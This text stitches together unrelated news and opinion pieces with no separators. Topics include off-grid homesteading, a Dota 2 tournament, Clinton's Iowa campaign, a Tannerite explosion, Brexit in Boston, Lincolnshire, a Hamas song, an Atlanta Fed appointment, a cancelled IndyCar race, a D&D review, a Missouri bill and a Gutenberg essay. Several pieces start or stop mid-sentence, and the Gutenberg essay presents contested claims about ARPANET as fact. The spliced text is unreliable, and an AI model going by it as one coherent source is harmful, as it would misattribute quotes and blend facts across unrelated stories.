The time is right to leave the city, says Kenny. Advances in technology have enabled people to live off-the-grid and off the land with little impact to their standard of living. Solar and micro-hydro systems – necessary for life in many infrastructure-free rural areas – are cheaper and more efficient than ever, while telecommuting allows workers to earn an income from just about anywhere in the world.
After helping build more than 20 cob houses as part of the Mudgirls Collective, Kenny is finally getting around to building her own home on Lasqueti Island, where she and her partner plan to move in the next couple of years once it’s completed.
Despite the similarities to back to the land movement of the ‘60s and ‘70s, Kenny sees the current wave as somewhat less naive.
“It strikes me that I don’t know anyone who is doing a neo-commune thing, which is interesting. Communes were such a big part of the homesteading wave in the ‘60s,” she says. “The preciousness and power of the idea of real estate has something to do with it, I think, and a modern aversion to anything deemed “hippy”.
“It’s a less idealistic wave, to be sure.”
For Cavers at least, the decision simply came down to how could he provide the best, happiest life for himself and his family. A busy career that monopolized his time in a claustrophobic city that drained him of his energy didn’t have much appeal.
“It’s not as driven by idealism, getting in tune with nature and all that,” he says. “People want to be in a beautiful, more peaceful place.”
Far from being isolated in his comparatively small community, Cavers says he feels more connected.
“I walk around and I know lots of people here. I go to the grocery store and I’ll recognize someone, and they’ll recognize me. It’s great to have these connections, I don’t feel so anonymous here.”
And for anyone thinking about making the move, Cavers has one piece of advice:
“Just do it.”The Kiev Major kicks off competition in less than two weeks, with Swiss-style Group Stage play on April 24 – 25, and the single-elimination Main Event taking place April 27 – 30 at the National Palace of Arts in Kiev, Ukraine.
Head to the Compendium section of your Battle Pass to open your Player Cards and fill out your Fantasy Lineups, make your Tournament Predictions, and see the full roster of broadcast talent.
Once the Group Stage concludes, you’ll also have the chance to fill out a Bracket Prediction for the Main Event. You’ll need to decide: Will old favorites reign supreme, or can another group of upstarts wreak havoc on the main stage? The more accurate your predictions, the more Battle Points that await you.
We look forward to welcoming the teams, talent, and fans to Kiev for another showdown to determine who stands atop the best sixteen teams in the world.Hillary Clinton said Monday she is "pumped up and enthusiastic" about her campaign heading into the Iowa caucuses, adding that the results of the first test of the 2016 presidential nominating contests will come down to "who turns out."
This past weekend, Clinton said her campaign knocked on 125,000 doors across Iowa. She touted her battle-tested experience to make her case.
"I'm a little bit scarred up, but I'm still standing and I think that kind of experience will really do me well in this campaign. And I believe that I'm the Democrat who can make sure we keep the White House in the right hands going forward," Clinton said on "CBS This Morning."
The latest Bloomberg Politics/The Des Moines Register Iowa poll showed Clinton leading Sanders by three points, which is within the survey's margin of error. Clinton has 45 percent of the vote among likely caucus goers in Iowa, while Sanders has 42 percent.
Clinton has been under scrutiny for her use of a private email server during her tenure as secretary of state. In the most recent emails released by the State Department, 22 messages were censored and deemed top secret. Sanders' latest campaign ad suggested Clinton's email controversy rendered her unelectable.
"The Sanders campaign has gotten more negative and more personal, which I regret because I thought we were running a really good campaign based on the issues, what we would do and how we would do it," Clinton said in response to the ad.
The ad also suggested she was in Wall Street's pocket.
"Look, anybody who knows me knows I'm not in the pocket of anyone, and anyone who thinks they could influence me certainly doesn't know me," Clinton said. "But what I do think is interesting is, I've laid out the most comprehensive, toughest, effective plan to make sure Wall Street never wrecks Main Street again -- don't take my word for it -- that's what Paul Krugman and Barney Frank and others have said."
Clinton said she doesn't want to overpromise, but she's going to continue talking about issues that matter to voters and deliver.
"I've been telling people the weather forecasts say that the blizzard won't get here until after the caucuses, so don't be deterred," Clinton said. "We really do want everybody to come out and to be part of this because this comes only once. The people of Iowa get the unique opportunity before anybody in the world to decide who they think should be the next president and commander-in-chief. And I'm urging everybody who wants to go and caucus for me and stand up for me to please do so, so that I can stand up and fight for them through the campaign and into the White House."
Next up in the candidates' campaign trail is New Hampshire, with the primaries on Tuesday, Feb. 9. Clinton said she plans to head immediately over the Granite State Monday night after votes are tallied in Iowa.
"I'm going to campaign hard in New Hampshire. I know that usually New Hampshire votes for a neighbor, and [Sanders is] their neighbor, so I get that. But I think I have the better plans, I think I have the better understanding of what it will take to beat the Republicans," Clinton said, alluding to the fact that Sanders is from Vermont.An 8-year-old Oklahoma boy was killed after being struck with shrapnel when a pot containing an explosive blew up after it was shot with a high-powered rifle, a sheriff’s office said on Monday.
Two people, including the child and a 22-year-old man, were struck with metal shards from the pot, which had been placed on a stove outside in a yard and contained an explosive along the lines of Tannerite, Sequoyah County Sheriff Ron Lockhart said about Sunday’s incident.
Tannerite is a stable compound often used in target practice because it can explode when struck by a bullet.
The boy died from his injuries while the man was being treated at a hospital in Arkansas, the sheriff’s office said.
A 30-year-old man who was experimenting with the explosive was arrested on a child abuse complaint, it said.
Identities of those involved have not been released. Additional details of the incident were not immediately available.
(Reporting by Heide Brandes; Writing Jon Herskovitz; Editing by Eric Beech)I fully agree, the stakes are high and not only for Europe but the whole global world.
But a working democracy today requires the understanding and practical implementation of two principles:
1. Democracy or any "optimal" human system can only work if the "user" the human being existing in that system functions "correctly", is able to rise above his/her inherently self-serving, subjective nature and make calculations primarily for the sake of the collective.
Only on such foundation can a system that requires mutuality and equality to work truly function.
This does not need to happen based on morality, ideology or philosophy, but based on pure, natural laws guarding our human ecosystem, which is part of the vast natural system around it.
2. As they are already trying to (so far unsuccessfully) attempt it in Europe, in a globally interdependent, integral human network such mutual, equal, democratic system cannot be local |
every born-and-bred Bostonian I meet.
“If you close your eyes, you can sometimes only hear eastern European voices, and that can be scary,” remarks Paul, a 59-year-old engineer perusing the fruit stands. “Because of the language barrier, they all stay together, almost like a ghetto. People are people wherever they come from, and we wouldn’t have a maternity unit without them, but it’s been too fast. Integration takes time; you can’t do it instantly.”
“People joke here that you can walk through the town and not hear a single English person,” adds Chrissie Redford, a chief reporter at the Boston Standard, during a coffee break from reporting. “And that’s happened to me. My concern is now so many people have voted, whether that rift will get deeper.”
Three Latvian men in their thirties are sharing a beer in the nearby churchyard. Boston’s tall, distinctive medieval church tower, known affectionately as the Stump, looms over them. “What happens now?” asks Vitels, who is rolling a cigarette. He has been working factory shifts here. “I can’t go back to Latvia, there are big problems there. Romania, Bulgaria, everywhere there has been war. Nobody wants to live like that. [Brexit] makes me feel bad. People think I’m difficult, because I’m foreign.”
“The economy in Latvia is not good, but in Britain it’s very good,” frowns Gatis, who is self-employed. “Why are we here? Because we live much better here. It’s nicer.”
The English agree, which is part of the problem. “It’s a really good way of life in this area, and that is why it went so heavily for Out,” Mike Cooper, the tweed-clad owner of a local car museum, and Tory borough councillor, tells me, as we weave between the market stalls. “People feel that the massive influx is eroding their way of life. We’re not being racially intolerant; we’re living with it day to day.”
Cooper voted to leave, but there is no spring in his step. The local politicians and farm and factory owners know that this town relies on migration. Eastern Europeans settle in Boston because there is such a demand for agricultural labour, and for food manufacturing workers. Most of the vegetables we buy in our supermarkets are grown in Lincolnshire.
The perception persists among some I meet that migrants are “taking jobs from our own people”, but unemployment here is comfortably below the national average. The council estimates that around 20,000 economic migrants work in the Boston area, whereas the current number of people claiming unemployment benefits was just 630 on the last count, according to Office of National Statistics figures from May.
Boston voted for Brexit by 75.6 per cent.
But such a large low-paid workforce does cause difficulties. The average wage here has been forced down (£9.13 an hour, compared with the £13.33 national average) by employment agencies hiring cheap, flexible labourers. Similarly, rents have been driven up disproportionately by landlords taking advantage of the newcomers’ willingness to live ten to a house.
But migrants complain that they receive the blame for this, rather than those abusing their vulnerability. “It’s quite sad, because it looks like [politicians] aren’t interested in these things,” says a 40-year-old construction worker, Zee Barbaks, who campaigns against exploitative gangmasters. He and his wife, both Latvian, arrived in Boston 11 years ago. Before their two young children were of school age, they alternated factory shifts in order to look after them, “swapping them over in the car park”. I sit on a park bench with him while his son scampers around the playground.
“Agencies keep people out of holiday money and sick pay, they make them pay their wages on accommodation,” Barbaks says. “When women get pregnant they don’t give them work. Sometimes they use three people for one job – so those people are getting nothing.”
He is saddened by the huge local Brexit vote: “Ten years ago, Boston was empty. Before, every second shop was closed on West Street,” he says. “If you look now, there are loads of changes in a good way, eastern Europeans starting businesses. But now, if they stay out of Europe, in ten years’ time, it’s going to be like it was ten years ago. They’ve just done ten steps back.
“I understand that it is loads of people who have moved in, but if the agencies were sorted out, there would probably be less people here. This is what the government should be looking at.”
But it’s a perceived cultural divide, rather than material concern, which has driven Boston so strongly towards Brexit. Even the Ukip deputy leader of Boston Borough Council, Jonathan Noble, concedes that West Street was a ghost street when recession hit before the migrants set up shop (“so they have done some good here”).
Councillor Noble thanks Boston for voting Leave.
Although people worry about pressure on public services – difficulty getting school places and GP appointments, in particular – the local economy is healthy. The message they have sent to Westminster is a plea for identity.
“We’re British,” shrugs Mike, a 66-year-old retired lorry driver sitting outside a café. “I don’t care if prices go up; at least we’ll be running ourselves. We’re top of the league for wanting them [migrants] out. Some of the Polish people are nice, but there are too many.
“Barack Obama, flipping David Beckham, Bob Geldof, Cameron saying it’s good to have them here – that made me more determined, I got fed up with it. All the money is down in London, it’s disgusting. [Immigration’s] gone too far anyway, I doubt much will change. We should’ve listened to Enoch Powell. Good old Enoch,” he chuckles. His wife gives him a stern look.
“I’ve heard there’s a sign on a shop in West Street that says ‘No English’,” adds his friend Fred. “I might want to buy a Polish cake. But they don’t want to mix with us.”
Walking up and down West Street – where there are numerous eastern European restaurants, Baltic food stores, a Latvian bakery and Polish pub, and roars of “Polska!” from football fans – I can’t find that ‘No English’ sign. I doubt it exists. But it’s the perception that’s telling. English locals are the ones who feel unwelcome, far more so than their European neighbours (those I speak to are overwhelmingly positive about their hometown). They also feel their views are unwelcome in Westminster.
“We’re the ones living it,” says Chris Pain, who has owned a number of businesses in Boston and sits as an independent on Lincolnshire County Council. “When in London they say ‘we need more people’, we know that’s not true. They like it [immigration] because they can eat in nice restaurants and have people from abroad doing their menial work.”
There is hope for integration in a post-Brexit Boston, however. Young people I speak to are far more positive about their foreign neighbours. “I’ve grown up with knowing the EU,” says Kirsty, a 21-year-old graduate training to become a teacher. “I have no problem with the other communities. I’ve worked in McDonald’s and cafés around here with people from Poland, Lithuania and Latvia and they’re absolutely wonderful. People need to learn to understand each other more – actually communicate. And they don’t; that’s why there’s a misunderstanding.”
Also hinting at a more harmonious future is Sylvia Giza, 38, who has lived in Boston for 12 years. She works behind the counter of a Polish butcher’s off West Street. “We pay tax, we are educated, we buy a house. We’re not scary. I have three children, they go to school and learn English, and now they are speaking in English to me at home! So I take the book and try working and reading,” she grins, turning to her next customer – an English woman surveying the array of Polish sausages.The recent, month-long war between Israel and Hamas showcased the militant group's new arsenal of tactics: Attack tunnels, longer range missiles, unmanned aerial vehicles and even a Hebrew-language music video.
The song, “Carry Out Terror Attacks," is actually a remake of a Hamas oldie named “Shake Israel’s Security. It came out in 2012 during the last war in Gaza. It was a big hit among Hamas supporters and garnered more than a million views on YouTube.
So when war broke out last month, Hamas released a updated version for the Israeli enemy. The video features masked militants, rockets and lyrics that are essentially battle cries — translated into Hebrew this time: “Try to make contact with the Zionists. Burn camps and soldiers. Shake the security of Israel.”
Israelis love it.
Palestinians have put out other war songs before, replete with Arabic lyrics such as "Hold Your Head High, That's Your Weapon" and “Strike Strike Tel Aviv” — but none have caught on quite like this one.
“The song is hilariously silly,” says Yagil Henkin, an Israeli military historian and reservist. During last month's military operation, he served at a divisional headquarters just a few miles from the Gaza border. He says Israeli officers there set the song as their cell phone ringtones.
“They tried to frighten us. To say, ‘We know your language, we know how to talk to you, and we will promise you death and destruction,’” Henkin says. “Of course, when you listen to the lyrics, they are quite awful. You have modern Hebrew with ancient Hebrew with some things that are not Hebrew at all. And all in very bad accent and extremely bad diction.”
At one point, Henkin said, “they shout in the middle of the song, 'vulcanim.' Vulcans, volcanos, what? No one has any understand[ing of] what they say.”
Even so, the Hamas single has improbably become Israel’s number-one summer hit. Israelis recorded a whole compilation of ironic covers, from a pensive piano version to a dance mashup to finger-snapping a capella.
Henkin says he was at a religious Jewish wedding the other day where the band played a Hasidic klezmer rendition.
“The Hamas band wanted to mock the Israelis, but it happened to create a tune that mocks Hamas and says, 'Those guys, they don’t have a clue,'” Henkin says. “If you don’t have a clue, you don’t have a strategy. And if you don’t have strategy, or it’s at odds with reality, your chances of getting to achieve your strategy are pretty slim.”
Hamas songsters did score one big achievement, Henkin says: Their tune was the one thing during a month of war that made Israelis smile.The Federal Reserve Bank of Atlanta tapped Raphael Bostic to become its new president and CEO on Monday, making him the first African-American and first openly gay person to head any of the Fed’s 12 regional banks. Bostic, a University of Southern California professor of governance, succeeds Dennis Lockhart, who retired Feb. 28.
“We are very pleased that Raphael will join the Atlanta Fed as its president and chief executive officer,” said Thomas A. Fanning, chairman of the board of the Atlanta Fed and chairman, president and chief executive officer of Southern Company. “He is a seasoned and versatile leader, bringing with him a wealth of experience in public policy and academia. Raphael also has significant experience leading complex organizations and managing interdisciplinary teams. He is a perfect bridge between people and policy.”
Georgia Congressman John Lewis applauded the news, saying in a statement, “I congratulate Mr. Bostic on his historic appointment. Atlanta is the cradle of the Civil Rights movement, so it is only fitting that our city be home to the first African-American head of a Federal Reserve Bank. While such an appointment is long overdue, I am proud that Atlanta is leading the way. Atlanta has shown that our nation succeeds when all voices and perspectives are heard and can come together to chart a way forward. Metro Atlanta and the South were hit hard by the Great Recession, and it is my hope that the Federal Reserve works to make sure the doors of opportunity are open to everyone.”
Rep. Lewis joined U.S. Reps. David Scott (D-GA), Maxine Waters (D-CA) and John Conyers (D-MI) in a letter sent to the Atlanta Fed last September calling on them to conduct an inclusive search and consider candidates of diverse backgrounds. Lewis also joined a letter, led by Conyers and Sen. Elizabeth Warren (D-MA) last spring calling for greater diversity at the Federal Reserve.
Bostic served as the assistant secretary for policy development and research at the U.S. Department of Housing and Urban Development during the Obama administration. His term at the Atlanta Fed, which is responsible for the Sixth Federal Reserve District which covers Georgia, Alabama, Florida and parts of Louisiana, Mississippi and Tennessee, will begin in June.
Here’s more from Fanning on today’s announcement.IndyCar drivers - shown here competing in Alabama, will not be opening the season in Brazil after all. (Photo11: Butch Dill, AP)
CHARLOTTE - The season-opening IndyCar Series race scheduled for March 8 in Brasilia has been canceled.
IndyCar project manager Tony Cotman confirmed to USA Today Sports in an email that the race is off.
Band TV, the Brazilian channel set to broadcast the event, released a statement Thursday afternoon saying the race had been canceled "unilaterally" by promoter Terracap (Development Agency of the Federal District ).
In a statement released Thursday night, IndyCar said:
"Today's announcement by BAND that the March 8 INDYCAR race in Brasília was cancelled was both unexpected and disappointing. INDYCAR had received every indication that the race was already a success: Two-thirds of the seats available for the event had already been sold; a title sponsor for the event (ITAIPAVA) was announced yesterday; hospitality was sold out; and track construction was progressing and scheduled to be complete in time for the event. Although we have not received formal confirmation from our partners in Brazil regarding the cancellation, economically INDYCAR is protected and the paddock is protected from such action."
Reports in the country are that the government agency that owns the Autodromo Internacional Nelson Piquet and was providing funding has pulled out of the deal.
This marks the second time the IndyCar series has had an international event collapse. A conflict with a beer festival forced the cancellation of an race in Qingdao, China in 2012.
IndyCar CEO Mark Miles told The Indianapolis Star that the cancellation of the Brasilia event "is disappointing," but it won't hurt the sanctioning body or its competitors.
If true, IndyCar learned from the last-minute cancellation of the China race, when IndyCar did not receive the money it was promised. Miles said the Brazil event was financially front-loaded.
Helio Castroneves, a three-time Indianapolis 500 champion who was born in Brazil, tweeted his disappointment and hoped for a quick solution.
I feel terrible special for the fans that Brazil race was announced today it was cancelled.I hope and trust in a quick solution in this case — Helio Castroneves (@h3lio) January 29, 2015
Before hearing the news, Castroneves told The Indianapolis Star that he expected a race-day crowd of 60,000 and a weekend total twice that.
"I guarantee you, a minimum of 60,000 people for a day," he said. "The region is very wealthy because of cattle business and people love cars; they love racing."
Said Castroneves after the announcement: "I was caught by surprise. As far as I knew everything was going well."
IndyCar's next scheduled race is March 29 on the streets of St. Petersburg, Fla.
Contributing: Curt Cavin, The Indianapolis Star
Follow James on Twitter @brantjamesDungeons & Dragons just celebrated its 42nd birthday—an auspicious number, to be sure—some 16 months after the release of its 5th edition. Since D&D’s latest release in August of 2014, many players and Dungeon Masters have rolled their polyhedrals in approval, and publisher Wizards of the Coast has grown its support for the world’s most popular role-playing game in ways you might not have expected.
No matter your edition or specific RPG of choice, today D&D continues to be the measuring stick by which other pen-and-paper games are judged, be it on sales, popularity, or even complexity. For many gamers over the course of the game's existence, D&D has been the entry point into role-playing which sparks a lifetime of storytelling and adventure.
So, with more than a year behind it, how does the newest edition of D&D hold up for newbies and hardcore fans alike?
The story thus far
D&D’s 5th edition (5E), which was first previewed under the moniker of “D&D Next” as part of a public playtest with 175,000 registered players, forges a new direction in order to differentiate itself from D&D 3/3.5 and 4th editions. The new edition eschews the complexity of 3/3.5 in favor of streamlining rules, and it removes cumbersome modifiers that slowed the game to a crawl. Where 4E created a highly-balanced but homogenized and codified set of powers for each class, 5E returns to more differentiated classes with their own sense of purpose and feel.
In some ways, the new edition returns to the concept of the Dungeon Master (DM) as active storyteller. Previous editions had moved D&D towards a tactical combat system that prized structure and complexity with "story" becoming the thing that simply happened in the moments between multi-hour combats.
Mechanically, the largest change here is the removal of the modifiers found in previous editions. They are now few and far between, distilled down into "advantage" and "disadvantage." Attacking from above with the cover of darkness—but also from behind? Your character has advantage. Trying to track a hooked horror without a light source—and in the rain? Make a check with disadvantage. The DM, without having to consult a chart, can easily define the circumstances of an attack, skill test, or ad hoc maneuver from the player. Having advantage confers the ability to roll two d20s during your check and keeping the highest result; disadvantage requires keeping the lowest result. It’s a simple enough change on the surface that makes all the difference in the world during play.
Classes again feature unique components and, early in your career at 3rd level, you will start to fork in different directions as part of an archetype. No longer do you need to map out your character from 1st to 10th level to prepare for your paragon path out of fear of inadvertently gimping your character. (Although, perhaps alarmingly, the first hints at prestige classes returning to D&D have already been dropped.)
Tactical combat has been toned down considerably. The rigid structure of previous editions has given way to the abstraction of the original Advanced Dungeons & Dragons of yesteryear, making D&D once again a game that takes place in the theater of the mind. If you want to move miniatures on a map and stack condition tokens, you can. But the game no longer requires it.
Further, as a nod to those craving more mechanical rewards for role-playing, D&D now includes "inspiration," which is the ability to gain advantage on any one ability check, saving throw, or attack roll via role-playing to a character’s background. It’s a small thing and there’s no worry of confusing D&D with a game of Fate, but it's a welcome nod from a game that historically has focused on killing creatures and taking their stuff.
Created by Wizards, told by you
Alongside the release of the three 5th edition core books came the first D&D campaign storyline, Tyranny of Dragons. A two-book adventure spanning Hoard of the Dragon Queen and The Rise of Tiamat, players were embroiled in a story that stretched from the start of their adventuring careers all the way through the 15th level. At the culmination of the story, Wizards then introduced its next epic plot, "Elemental Evil" (yes, The Temple of Elemental Evil returns!) with Princes of the Apocalypse in April 2015. Again, this self-contained campaign spanned an entire character’s career.
The approach has marked a shift in how Wizards of the Coast and its D&D Team design stories and play aides. Instead of making adventure modules meant to squeeze into your home campaign, Wizards now provides the entire campaign in one book filled with great set pieces, plot hooks, and epic adventure.
The third and current storyline, "Rage of Demons," was released in September in Out of the Abyss, following this same structure. Adventurers can start fresh or jump right in with a character from their weekly D&D Encounters session.
Encounters? Yes, Wizards of the Coast kept the D&D Adventurers League from years past and has expanded it even further. Now the D&D Adventurers League—found every Wednesday night at your friendly local gaming store (FLGS)—maps to the current D&D storyline. Swing by your FLGS with a new character and you’ll be playing alongside the Rage of Demons storyline with 2-6 other players. Meant to be digestible in two-hour increments, the League program is the vehicle that Wizards uses to make sure you always have a D&D group ready to go by shadowing the current story “season” with casual play. You can even bring your pre-generated character from the D&D Starter Set and continue the adventure, accruing experience points in League play.
In editions past, the thought of going from 1st to 15th level (or higher) might have seemed a pipe dream, but 5E moves story, combat, and character advancement along much more quickly. Those abilities and spells you longingly looked forward to but never saw? In 5E and campaign progressions, the D&D Team wants you to see those cool levels. Your character’s growth as an epic hero is also part of the story and why each storyline begins anew. The hero’s journey is a fundamental component of the latest edition.Updated April 11 with accusations from Black Caucus over the bill sponsor — The Missouri General Assembly's Black Caucus is attacking a bill that makes it harder for fired workers to prove discrimination, citing a racial discrimination lawsuit that's pending against the measure's Senate sponsor.
If Senate Bill 43 passes, an employee would have to prove that, among other things, sex, race, religion or sexual orientation is the main reason for being let go. Currently, he or she has to prove it was one of a few factors. The bill has passed the Missouri Senate, and now is before the state House.
The Black Caucus is highlighting the suit filed two years ago against GOP Sen. Gary Romine of Farmington. He owns Show-Me Rent-to-Own, which is being sued for unlawful racial discrimination under the Missouri Human Rights Act.
Romine’s bill would not affect the lawsuit because it already has been filed and is pending in court. But caucus member Rep. Michael Butler, D-St. Louis, accused Romine of “attempting to change a human-rights law on a matter than directly benefits his company.”
Romine did not immediately respond Tuesday to a request for comment.
A former employee, Tracy Ranson, filed the suit about two years ago. Ranson, who is African-American, claimed that a company supervisor directed racial epithets toward him and treated him worse than workers who were white. The suit claims that Romine was made aware of the supervisor’s actions, but did nothing.
Daniel McMichael, the senior lawyer at the Kirkwood firm handling Ranson’s suit, said it is still pending in state court in Sikeston and is unlikely to go to trial before the end of the year.
Republicans say that Romine's bill, which passed 8-5 on Monday out of the House Special Committee on Litigation Reform, will cut down on frivolous lawsuits. But Democratic Rep. Steve Roberts of St. Louis pointed out that it limits employees to sue only the company, not an individual.
“Let’s say you have a manager who engaged in this type of discriminatory behavior, was sexually harassing a woman in the workplace,” Roberts said during committee debate.
“Right now you can sue that individual, but this bill, the way it is written, would give that manager immunity,” he said. But those pushing the measure argue that someone who’s in that exact situation can file criminal assault charges.
Democrats and others, including NAACP state chapter President Nimrod Chapel, are concerned that the measure would signal the return of Jim Crow-type laws. Chapel had been silenced during a special committee meeting in February, and, after receiving an apology, was able to finish his testimony last week.
Legislators tried to make six amendments Monday. All of them failed, though, notably, one was not from Democrats hoping to kill the bill. State Rep. Bill White, a Republican from Joplin, wanted to exempt hospital employees from being fired for refusing to help perform an abortion. He said the bill, as currently written, would strip away that protection.
“It was, in my opinion, not well-researched,” said White, who said he plans to vote against the bill in the full House. But fellow Republican Kevin Corlew of Kansas City argued that the older law would not automatically be overturned, adding that the courts have weighed in when a new law’s wording is considered vague.
If the full House approves the measure without amendments, it will go to Gov. Eric Greitens. It isn’t clear whether he’ll sign it.
Original story from April 3:
The head of the Missouri NAACP finally was able to finish telling lawmakers on Monday why he says a GOP-backed bill would bring back the era of Jim Crow.
In February, state chapter president Nimrod Chapel spoke at the House special committee on Litigation Reform against the bill, which would make fired employees have to prove that race, religion, sex or age was the main reason for his or her dismissal, not just a contributing factor.
Supporters say it’ll protect businesses from frivolous lawsuits.
But the moment he said the bill would bring back Jim Crow — legally discrimniate against African-Americans — Republican committee chair Rep. Bill Lant, of Pineville, ordered Chapel’s microphone turned off and said his testimony was over.
Chapel received an apology from House leadership and was told he’d be able to speak at a later date, which came Monday.
“Some might say … ‘Well, you’re obviously here because this affects black people — it affects all people, all people,” he testified. “If you’re a human being in Missouri it’ll affect you. If you’re a man, woman, if you get to any age at all, I don’t care what color you are.”
Afterward, Chapel said he received the appropriate response this time, but believes that he would not have been able to come back if not for pressure from House leaders and the media.
Technically speaking, the hearing where Chapel’s microphone was turned off never did resume, because it was for the House version of the proposal, HB 552/550. Monday’s hearing was for the near identical Senate version, SB 43.
Jo Mannies contributed to this report.
Follow Marshall Griffin on Twitter: @MarshallGReportJohann Gutenberg, the inventor of printing with moveable metal type, is a true benefactor of humankind. His innovative application of printing technologies was not only a showcase example of market anarchism, but a greater source of benefit to mankind than state-sponsored technologies can ever hope to be. His is a story not only of innovation, but of immigration, opposition to politically connected interests, and freedom of information.
Remember the Millennium?
Nearly ten years ago – in time for the millennium celebrations – Johann Gutenberg (ca. 1400-1468) was singled out as the greatest inventor of the past 1,000 years by the British Broadcasting Company (BBC). Life rated his printing of the Bible as the top event of that time period. In addition, the Exlibris news and discussion group (University of California at Berkeley) dubbed him Man of the Millennium.
He did not invent either book printing or moveable type. But his improvements on existing technology changed everything. There were good reasons to celebrate Gutenberg's innovation – not to mention subsequent related breakthroughs such as (1) offset printing, which transferred images from page-size plates onto paper beginning in 1904, (2) digital printing, which developed in the 1980s, and (3) web-page publication, which developed in the 1990s and was the result of a decision (in 1988) to end the 30-year stranglehold of the U.S. government on Internet development.
And while some may argue that the origins of the Internet lie in the government-sponsored ARPANET, the ARPANET is yet another example of state-sponsored Frankenstein technology – a relative dead end that did not yield significant benefits until it was released from its state-enforced dungeon to become transformed by the private sector into the World Wide Web.
In a sense, the Web has multiplied the potential of Gutenberg's original invention: first, Gutenberg made possible the publishing industry, in which scarce resources are concentrated to fund the dissemination of information from relatively few replication centers; the Web and the app economy take it further, making it possible for everyone to become a publishing center.
Fact and Fiction: The Discovery of Printing
Let's look at what Gutenberg did and didn't do. He did not invent either book printing or moveable type. In The Gutenberg Bible, James Thorpe, former director of the Huntington Library, points out that the earliest known wood-block printing of a book took place in 9th century China with the 16-foot-long roll of the Diamond Sutra. To produce it, entire pages were carved into flat wooden blocks that were inked and pressed onto paper rolls.
Furthermore, as early as the 11th century, printers in China (and Korea) were experimenting with pieces of moveable type made of baked clay. That invention, however, did not endure in East Asia because too many distinctive pieces of 'type' (the baked-clay letters) had to be created to print a book. In contrast to the 26-letter English alphabet, for example, the Chinese language uses approximately 40,000 ideographs – far too many (at the time) to offer any labor-saving advantages through printing.
Copying Books by Hand
In Europe until the time of Gutenberg, books were copied by hand, usually on some type of parchment (the skin of an adult sheep, goat, or cow) or on vellum (skin from a newborn calf). During the early Middle Ages, most of this copying took place at monasteries in a scriptorium, but by the 13th century, busy manuscript-copying establishments were located in major cities – usually near the early universities where books were in demand. Wherever manuscript copies were made, however, they contained errors.
The quill pens used by copyists – usually made of goose feathers – required frequent refills from ink pots, and the tedium of copying led to errors consisting of repeated or omitted portions of text. Even the introduction of wood-block printing in Europe during the late 14th and early 15th Centuries (usually for illustrations) offered few advantages. For example, wood-block carvings were laborious to create and could be ruined with a single false stroke of the carver's knife. They also wore out quickly and could not produce clear imprints for very long.
And while it is true that manuscript copyists used abbreviations to save time, new books still required about a year to produce. Not surprisingly, they were very expensive. As a result, the literacy rate was low – only 30% in some English towns during the 15th century.
The Printing Press in Action
The idea of printing with reusable pieces of durable, moveable type held definite advantages for Europeans. Since the Latin alphabet had only 23 basic letters, only a limited range of metal pieces of type had to be cast and replicated. Once created, these pieces of type could be arranged into orderly rows and pages of text on a printing forme. The letters were inked up, and damp paper or parchment was lowered onto them to receive the ink impression.
The result was hundreds of nearly identical copies of books. Once a set of pages were printed, the pieces of type could be reassembled again and again to print other pages and books until they finally wore out after many uses. All things considered, printing with re-usable, metal type yielded savings in labor and cost, greater accuracy and consistency in the final product, and a remarkable increase in the volume of books available.
A Market-Driven Process
The invention of printing, however, did not occur in a vacuum. Like any other product, it was subject to market conditions to which Gutenberg responded in an entrepreneurial way. We already have seen how the Western alphabet – with its limited set of letters – played a supporting role in the success of European printing.
To this, we can add the availability of paper in 15th century Europe – a cost-effective substitute for parchment and vellum. According to Warren Chappell and Robert Bringhurst (A Short History of the Printed Word), the process of making paper from plant fibers was discovered in China in the 2nd century. It spread to the Middle East in the 8th century (where it was improved), and the Moors brought it to Spain (11th century). By the late 13th century, a paper mill that used linen and rag fibers was operating in the Italian town of Fabriano. From there, it spread rapidly through Europe – just in time for Gutenberg's invention.
Gutenberg was responsible for the print process itself, and his story has been outlined by Christopher de Hamel in The Book: A History of the Bible. As a stepping stone to the invention of printing, however, Gutenberg may have developed a mechanical-stamping process in the late 1430s. Details of his metal-stamping process, however, are unclear, and what little we know is based on the much-debated record of a lawsuit that was filed after the death of one of his business partners.
The scale of the Gutenberg Bible project was astonishing for its time.Nonetheless, it appears that while living in Strassburg, Gutenberg and his partners intended to mass-produce small, inexpensive convex mirrors by using Gutenberg's metal-stamping process. They planned to sell the mirrors to pilgrims visiting the holy relics in the city of Aachen. The relics were displayed every seven years, and pilgrims would pin the expensive mirrors to their hats, or they would hold them up as they viewed the holy objects. The mirrors would reflect – and thus capture – some of the spiritual presence of the relics.
Unfortunately, Gutenberg and his partners miscalculated the date of the pilgrimage (or perhaps it was changed); the pilgrimage took place in 1440 instead of 1439. This delay and the partner's death led to the failure of the enterprise. Nonetheless, this business venture may have contributed to Gutenberg's later innovations when he moved to the city of Mainz in 1448. Note, however, that this was an entirely private endeavor. No risk was forced upon taxpayers.
Gutenberg's Test Projects
In Mainz, where Gutenberg eventually established his printing operation, a legal document once again provides the few reliable details that have been passed down to us. The document (called the 'Helmasperger Instrument' after the notary who signed it on November 6, 1455) describes the attempted recovery of two loans taken out by Gutenberg in 1450 and 1452. It also mentions Gutenberg's project as 'the work of the books,' and it is described in Johann Gutenberg and His Bible, by Janet Ing.
Despite a settlement that obligated Gutenberg to repay with interest any money not used on the project, the settlement may have favored Gutenberg – despite a legend that he was bankrupted as a result. Furthermore, it is possible that Gutenberg continued to print books in Mainz during the 1450s even though his moneylender (Johann Fust) and his assistant (Peter Sch'ffer) became partners in their own printing business there.
In 1454, the year before he printed his Bible, Gutenberg completed a few smaller projects, and they testify to his entrepreneurial spirit. They included a pamphlet warning of the danger posed by the Turks, who had just captured the ancient capital of the Byzantine Empire in 1453. In addition, there were four printings of indulgences, which were sold to raise funds for a war against the Turks. He also printed a New Year's greeting in German and a small Latin grammar. These small projects indicate a businessman who was 'ramping up' his operation for a bigger undertaking, such as the printing of the Bible. Once again, Gutenberg's projects were entirely for profit.
Marketing the Bible
Gutenberg clearly perceived the anti-Turk hysteria as a boon to his sales effort – a kind of rally-round-the-Bible marketing opportunity.In the case of the Bible, Gutenberg was targeting a specific group of customers: religious institutions such as monasteries. They were his best potential customers because they needed large Bibles for public readings. Only a limited number of wealthy individuals could afford the other copies. Providing a glimpse into Gutenberg's sales effort, we have a letter written by Aeneas Silvius, who subsequently became Pope Pius II in 1458. He personally witnessed Gutenberg displaying several sections of his not-yet-completed Bible in October 1454 at a conference of nobles in Frankfurt. The purpose of the conference was to rally public support for war against the Turks.
